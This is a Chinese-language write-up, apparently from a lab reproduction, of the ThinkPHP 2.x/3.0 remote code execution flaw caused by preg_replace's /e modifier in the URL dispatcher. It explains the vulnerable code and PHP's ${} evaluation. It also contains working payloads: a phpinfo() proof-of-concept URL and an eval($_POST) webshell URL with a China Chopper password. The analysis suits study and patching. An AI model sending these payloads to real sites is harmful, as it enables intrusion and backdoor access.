ThinkPHP 2.x 任意代码执行漏洞 复现与分析
漏洞描述
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
漏洞复现
POC
http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
菜刀连接
http://192.168.232.128:8080/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}
连接密码:1
漏洞分析
- 存在漏洞的文件
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
- 漏洞代码位置
// Dispatcher.class.php中static public function dispatch() 第102行
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
- 漏洞代码块
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
- 分析
检测路由规则 如果没有则按默认规则调度URL,然后解析剩余的URL参数
正则表达式的修饰符/e:只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串
例:
<?php
$a = '1a2b3c';
$b = preg_replace('/\d/e', 'print(xxx);', $a);
echo $b;
>
运行结果
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx
Notice: Use of undefined constant xxx - assumed 'xxx' in F:\phpstudy\WWW\1.php(8) : regexp code on line 1
xxx1a1b1c
虽然有报错,但是已经执行了print(xxx)
正则表达式的搜索模式:(\w+)/([^/])是取每两个参数
$var['\1']="\2";是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值
例:
<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>
运行结果:
Array ( [a] => b [c] => d [e] => f )
这里最开始匹配到a、b,a作为键,b作为值,以此类推
为了让我们构造的语句以执行,我们只需要将语句作为数组的值,如:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......
(语句在第偶数个参数位置)
-
PHP语法
在PHP中${}里面可以执行函数 -
ThinkPHP的url规则
thinkphp 所有的主入口文件默认访问index控制器(模块)
thinkphp 所有的控制器默认执行index动作(方法)
存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]